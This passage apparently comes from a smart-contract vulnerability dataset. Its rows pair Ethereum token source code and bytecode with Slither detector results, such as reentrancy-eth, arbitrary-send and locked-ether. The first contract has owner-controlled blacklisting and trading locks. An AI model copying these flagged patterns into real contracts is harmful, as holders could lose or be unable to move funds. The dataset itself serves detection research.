64e565b6000546001600160a01b03848116911614801590610ff057506000546001600160a01b03838116911614155b156112d157601454600160a01b900460ff16611089576000546001600160a01b038481169116146110895760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064e565b6015548111156110db5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064e565b6001600160a01b03831660009081526010602052604090205460ff1615801561111d57506001600160a01b03821660009081526010602052604090205460ff16155b6111755760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064e565b6014546001600160a01b038381169116146111fa576016548161119784610803565b6111a19190611eae565b106111fa5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161064e565b600061120530610803565b60175460155491925082101590821061121e5760155491505b8080156112355750601454600160a81b900460ff16155b801561124f57506014546001600160a01b03868116911614155b80156112645750601454600160b01b900460ff165b801561128957506001600160a01b03851660009081526005602052604090205460ff16155b80156112ae57506001600160a01b03841660009081526005602052604090205460ff16155b156112ce576112bc826114d0565b4780156112cc576112cc47611412565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131357506001600160a01b03831660009081526005602052604090205460ff165b8061134557506014546001600160a01b0385811691161480159061134557506014546001600160a01b03848116911614155b15611352575060006113cc565b6014546001600160a01b03858116911614801561137d57506013546001600160a01b03848116911614155b1561138f57600854600c55600954600d555b6014546001600160a01b0384811691161480156113ba57506013546001600160a01b03858116911614155b156113cc57600a54600c55600b54600d555b610c598484848461164a565b600081848411156113fc5760405162461bcd60e51b815260040161064e9190611c05565b5060006114098486611ec6565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bf573d6000803e3d6000fd5b60006006548211156114b35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064e565b60006114bd611678565b90506114c9838261169b565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151857611518611e4c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611571573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115959190611e91565b816001815181106115a8576115a8611e4c565b6001600160a01b0392831660209182029290920101526013546115ce9130911684610d78565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611607908590600090869030904290600401611edd565b600060405180830381600087803b15801561162157600080fd5b505af1158015611635573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611657576116576116dd565b61166284848461170b565b80610c5957610c59600e54600c55600f54600d55565b6000806000611685611802565b9092509050611694828261169b565b9250505090565b60006114c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611844565b600c541580156116ed5750600d54155b156116f457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171d87611872565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174f90876118cf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177e9086611911565b6001600160a01b0389166000908152600260205260409020556117a081611970565b6117aa84836119ba565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ef91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061181e828261169b565b82101561183b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118655760405162461bcd60e51b815260040161064e9190611c05565b5060006114098486611f4e565b600080600080600080600080600061188f8a600c54600d546119de565b925092509250600061189f611678565b905060008060006118b28e878787611a33565b919e509c509a509598509396509194505050505091939550919395565b60006114c983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d8565b60008061191e8385611eae565b9050838110156114c95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064e565b600061197a611678565b905060006119888383611a83565b306000908152600260205260409020549091506119a59082611911565b30600090815260026020526040902055505050565b6006546119c790836118cf565b6006556007546119d79082611911565b6007555050565b60008080806119f860646119f28989611a83565b9061169b565b90506000611a0b60646119f28a89611a83565b90506000611a2382611a1d8b866118cf565b906118cf565b9992985090965090945050505050565b6000808080611a428886611a83565b90506000611a508887611a83565b90506000611a5e8888611a83565b90506000611a7082611a1d86866118cf565b939b939a50919850919650505050505050565b600082600003611a95575060006106d4565b6000611aa18385611f70565b905082611aae8583611f4e565b146114c95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080057600080fd5b8035611b3b81611b1b565b919050565b60006020808385031215611b5357600080fd5b823567ffffffffffffffff80821115611b6b57600080fd5b818501915085601f830112611b7f57600080fd5b813581811115611b9157611b91611b05565b8060051b604051601f19603f83011681018181108582111715611bb657611bb6611b05565b604052918252848201925083810185019188831115611bd457600080fd5b938501935b82851015611bf957611bea85611b30565b84529385019392850192611bd9565b98975050505050505050565b600060208083528351808285015260005b81811015611c3257858101830151858201604001528201611c16565b81811115611c44576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6d57600080fd5b8235611c7881611b1b565b946020939093013593505050565b600080600060608486031215611c9b57600080fd5b8335611ca681611b1b565b92506020840135611cb681611b1b565b929592945050506040919091013590565b600060208284031215611cd957600080fd5b81356114c981611b1b565b80358015158114611b3b57600080fd5b600060208284031215611d0657600080fd5b6114c982611ce4565b600060208284031215611d2157600080fd5b5035919050565b60008060008060808587031215611d3e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6f57600080fd5b833567ffffffffffffffff80821115611d8757600080fd5b818601915086601f830112611d9b57600080fd5b813581811115611daa57600080fd5b8760208260051b8501011115611dbf57600080fd5b602092830195509350611dd59186019050611ce4565b90509250925092565b60008060408385031215611df157600080fd5b8235611dfc81611b1b565b91506020830135611e0c81611b1b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e8a57611e8a611e62565b5060010190565b600060208284031215611ea357600080fd5b81516114c981611b1b565b60008219821115611ec157611ec1611e62565b500190565b600082821015611ed857611ed8611e62565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f2d5784516001600160a01b031683529383019391830191600101611f08565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8a57611f8a611e62565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d9d29d3e03cf4e36228e9d6ed45f490d7ea4c18b8526250b006065ac64e1a0264736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,985 |
0xd37532D304214D588aeeaC4c365E8F1d72e2304A | pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FCoinToken is CappedToken, PausableToken {
string public constant name = "FCoin Token (Released)"; // solium-disable-line uppercase
string public constant symbol = "FT"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
} | 0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde0314610160578063095ea7b3146101ea57806318160ddd1461020e57806323b872dd146102355780632ff2e9dc1461025f578063313ce5671461027457806332cb6b0c1461029f578063355274ea146102b45780633f4ba83a146102c957806340c10f19146102e05780635c975abb14610304578063661884631461031957806370a082311461033d578063715018a61461035e5780637d64bcb4146103735780638456cb59146103885780638da5cb5b1461039d57806395d89b41146103ce578063a9059cbb146103e3578063d73dd62314610407578063dd62ed3e1461042b578063f2fde38b14610452575b600080fd5b34801561014357600080fd5b5061014c610473565b604080519115158252519081900360200190f35b34801561016c57600080fd5b50610175610483565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b5061014c600160a060020a03600435166024356104ba565b34801561021a57600080fd5b506102236104de565b60408051918252519081900360200190f35b34801561024157600080fd5b5061014c600160a060020a03600435811690602435166044356104e4565b34801561026b57600080fd5b5061022361050a565b34801561028057600080fd5b5061028961050f565b6040805160ff9092168252519081900360200190f35b3480156102ab57600080fd5b50610223610514565b3480156102c057600080fd5b50610223610524565b3480156102d557600080fd5b506102de61052a565b005b3480156102ec57600080fd5b5061014c600160a060020a036004351660243561058b565b34801561031057600080fd5b5061014c6105da565b34801561032557600080fd5b5061014c600160a060020a03600435166024356105e3565b34801561034957600080fd5b50610223600160a060020a0360043516610600565b34801561036a57600080fd5b506102de61061b565b34801561037f57600080fd5b5061014c61068d565b34801561039457600080fd5b506102de6106df565b3480156103a957600080fd5b506103b2610742565b60408051600160a060020a039092168252519081900360200190f35b3480156103da57600080fd5b50610175610751565b3480156103ef57600080fd5b5061014c600160a060020a0360043516602435610788565b34801561041357600080fd5b5061014c600160a060020a03600435166024356107a5565b34801561043757600080fd5b50610223600160a060020a03600435811690602435166107c2565b34801561045e57600080fd5b506102de600160a060020a03600435166107ed565b60035460a060020a900460ff1681565b60408051808201909152601681527f46436f696e20546f6b656e202852656c65617365642900000000000000000000602082015281565b60055460009060ff16156104cd57600080fd5b6104d78383610824565b9392505050565b60015490565b60055460009060ff16156104f757600080fd5b61050284848461088e565b949350505050565b600081565b601281565b6b204fce5e3e2502611000000081565b60045481565b60035433600160a060020a0390811691161461054557600080fd5b60055460ff16151561055657600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460009033600160a060020a039081169116146105a957600080fd5b60035460a060020a900460ff16156105c057600080fd5b60055460ff16156105d057600080fd5b6104d78383610a0e565b60055460ff1681565b60055460009060ff16156105f657600080fd5b6104d78383610a6e565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461063657600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b60035460009033600160a060020a039081169116146106ab57600080fd5b60035460a060020a900460ff16156106c257600080fd5b60055460ff16156106d257600080fd5b6106da610b67565b905090565b60035433600160a060020a039081169116146106fa57600080fd5b60055460ff161561070a57600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600281527f4654000000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff161561079b57600080fd5b6104d78383610bef565b60055460009060ff16156107b857600080fd5b6104d78383610ce8565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461080857600080fd5b60055460ff161561081857600080fd5b61082181610d8a565b50565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6000600160a060020a03831615156108a557600080fd5b600160a060020a0384166000908152602081905260409020548211156108ca57600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156108fd57600080fd5b600160a060020a038416600090815260208190526040902054610926908363ffffffff610e2316565b600160a060020a03808616600090815260208190526040808220939093559085168152205461095b908363ffffffff610e3516565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546109a1908363ffffffff610e2316565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60035460009033600160a060020a03908116911614610a2c57600080fd5b60035460a060020a900460ff1615610a4357600080fd5b600454600154610a59908463ffffffff610e3516565b1115610a6457600080fd5b6104d78383610e48565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610acb57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610b02565b610adb818463ffffffff610e2316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b60035460009033600160a060020a03908116911614610b8557600080fd5b60035460a060020a900460ff1615610b9c57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6000600160a060020a0383161515610c0657600080fd5b600160a060020a033316600090815260208190526040902054821115610c2b57600080fd5b600160a060020a033316600090815260208190526040902054610c54908363ffffffff610e2316565b600160a060020a033381166000908152602081905260408082209390935590851681522054610c89908363ffffffff610e3516565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d20908363ffffffff610e3516565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b60035433600160a060020a03908116911614610da557600080fd5b600160a060020a0381161515610dba57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e2f57fe5b50900390565b81810182811015610e4257fe5b92915050565b60035460009033600160a060020a03908116911614610e6657600080fd5b60035460a060020a900460ff1615610e7d57600080fd5b600154610e90908363ffffffff610e3516565b600155600160a060020a038316600090815260208190526040902054610ebc908363ffffffff610e3516565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a7230582011df77275807573fb143c73f8b0805619766bb71133e2eecfe7d088511b3934a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,986 |
0x2da9a52911bd029306398feaea4dd4658247b1f7 | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
